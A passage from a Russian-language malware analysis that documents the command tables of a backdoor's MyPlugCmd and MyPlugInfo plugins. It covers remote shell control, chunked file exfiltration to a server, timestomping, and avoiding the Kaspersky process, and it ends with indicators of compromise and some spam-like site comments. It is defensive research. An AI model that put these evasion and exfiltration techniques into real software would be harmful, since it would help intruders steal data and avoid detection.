    • Все остальные значения обозначают тот или иной плагин. Программа ищет его и передает ему данные. Если такой плагин не найден, программа не делает ничего.

Функциональные возможности плагинов


Встроенный модуль MyPlugCmd предназначен для запуска процессов и передачи команд консоли. При инициализации ему передается параметр, который может быть сохранен в файле C:\Windows\win.ini. Этот параметр указывает на копию cmd.exe, которая используется, чтобы затруднить обнаружение программы.


Модуль хранит несколько переменных в своем теле. Вот наиболее важные из них:


  • <файловый_дескриптор>;
  • <имя_файла>;
  • <альтернативный_путь_к_cmd>;
  • <шелл>.

Стоит отметить, что переменная <шелл> хранит информацию о запущенном процессе консоли, которая нужна для записи в поток ввода данного процесса и получения данных из потока вывода.


Полный список команд, выполняемых модулем MyPlugCmd можно посмотреть тут.
Идентификатор Команда
1 Проверить, что среди запущенных процессов нет avp.exe (антивируса Kaspersky):
Если он найден, отправить \x02\x07kb и закончить обработку.
Если не найден, проверить, инициализирована ли переменная <альтернативный_путь_к_cmd>. Если нет, то записать туда cmd.exe.

Затем создать процесс <альтернативный_путь_к_cmd> с перенаправленным вводом-выводом.

При успешном запуске поместить информацию о процессе вместе с дескрипторами перенаправления ввода-вывода в <шелл>, а в файл C:\Windows\win.iniдобавить секцию Micros c ключом source со значением <альтернативный_путь_к_cmd>. Также запускается дополнительный поток, в котором каждые 32 миллисекунды до 4096 байт вывода запущенного процесса отправляются на сервер с идентификатором \x02\x09.

При ошибке создания процесса отправить на сервер сообщение \x02\x03, при успехе \x02\x02
4 Если <шелл> инициализирован, завершить его процесс и отправить на сервер \x02\x05.

Если нет отправить на сервер \x02\x06no shell
8 Записать остаток буфера в поток ввода <шелл>
10 Сохранить путь к файлу, переданный в сообщении, в <имя_файла>, открыть его для чтения и сохранить дескриптор в <файловый_дескриптор>.

При ошибке отправить \x02\x0eCreate File Failed, при успехе \x02\x0b
12 Сохранить остаток буфера в переменную <имя_файла>, открыть этот файл для чтения, сохранить дескриптор в <файловый_дескриптор>.

Если возникла ошибка при открытии файла, отправить на сервер \x02\x0eOpen File Failed.

Еcли он пуст \x02\x03File Size is 0. При обеих ошибках закончить обработку команды.

Если файл открыт и он не пустой, отправить на сервер сообщение \x02\x0d. Также запустить дополнительный поток, в котором содержимое файла будет отправляться на сервер в сообщениях с идентификатором \x02\x0f частями по 4096 байт с промежутком в одну миллисекунду. Остаток файла не отправлять.

Завершить процесс сообщением \x02\x12 и закрытием <файловый_дескриптор>
15 Подать остаток буфера на вход процессу <шелл>, если он инициализирован
16 Обновить временные метки у файла <имя_файла>, скопировав временные метки файла C:\Windows\System32\services.exe. Отправить серверу сообщение \x02\x11
19 Закрыть <файловый_дескриптор>, удалить файл <имя_файла>
31 Cоздать временный файл и запустить файл, расположенный по пути из остатка буфера, перенаправляя вывод во временный файл.

Если произошла ошибка при создании временного файла, отправить сообщение об ошибке \x02\x20Create result file failed.

Еcли при запуске файла по пути из остатка буфера произошла ошибка, отправить сообщение \x02\x32CreateProcess Error:, конкатенированное с кодом ошибки.

Если запуск прошел успешно, читать из временного файла по 4096 символов и отправлять их с кодом сообщения \x02\x21 каждую миллисекунду
34 Запустить файл, расположенный по пути из остатка буфера. При удачном запуске отправить серверу сообщение \x02\x32CreateProcess succ, при ошибке сообщение \x02\x32CreateProcess Error:, конкатенированное с кодом ошибки.
37 Заменить <альтернативный_путь_к_cmd> остатком полученного буфера. Отправить серверу сообщение \x02\x26

Встроенный модуль MyPlugInfo может собирать и отправлять на сервер информацию об IP-адресах и MAC-адресах сетевых интерфейсов, идентификатор текущего процесса, а также идентификаторы заражения. Еще он умеет выполнять команду 11 основного обработчика.


Команды с идентификаторами можно найти тут
Значение байта Команда
1 Собрать информацию об IP-адресах и MAC-адресах сетевых интерфейсов, идентификатор текущего процесса, а также идентификаторы заражения (устанавливаются при инициализации плагина). Отправить всю эту информацию на сервер с кодом \x03\x02
3 Выполнить команду 11 основного обработчика

Индикаторы компрометации (IoC) обоих вариантов svchost.dll
Файл Параметр реестра
%ALLUSERSPROFILE%\\Application Data\\Microsoft\\~svc_.TMp RValue в ключе SOFTWARE\Microsoft\Windows NT\CurrentVersion
Подробнее..

Категории

Последние комментарии

  • Имя: Макс
    24.08.2022 | 11:28
    Я разраб в IT компании, работаю на арбитражную команду. Мы работаем с приламы и сайтами, при работе замечаются постоянные баны и лаги. Пацаны посоветовали сервис по анализу исходного кода,https://app Подробнее..
  • Имя: 9055410337
    20.08.2022 | 17:41
    поможем пишите в телеграм Подробнее..
  • Имя: sabbat
    17.08.2022 | 20:42
    Охренеть.. это просто шикарная статья, феноменально круто. Большое спасибо за разбор! Надеюсь как-нибудь с тобой связаться для обсуждений чего-либо) Подробнее..
  • Имя: Мария
    09.08.2022 | 14:44
    Добрый день. Если обладаете такой информацией, то подскажите, пожалуйста, где можно найти много-много материала по Yggdrasil и его уязвимостях для написания диплома? Благодарю. Подробнее..
© 2006-2024, personeltest.ru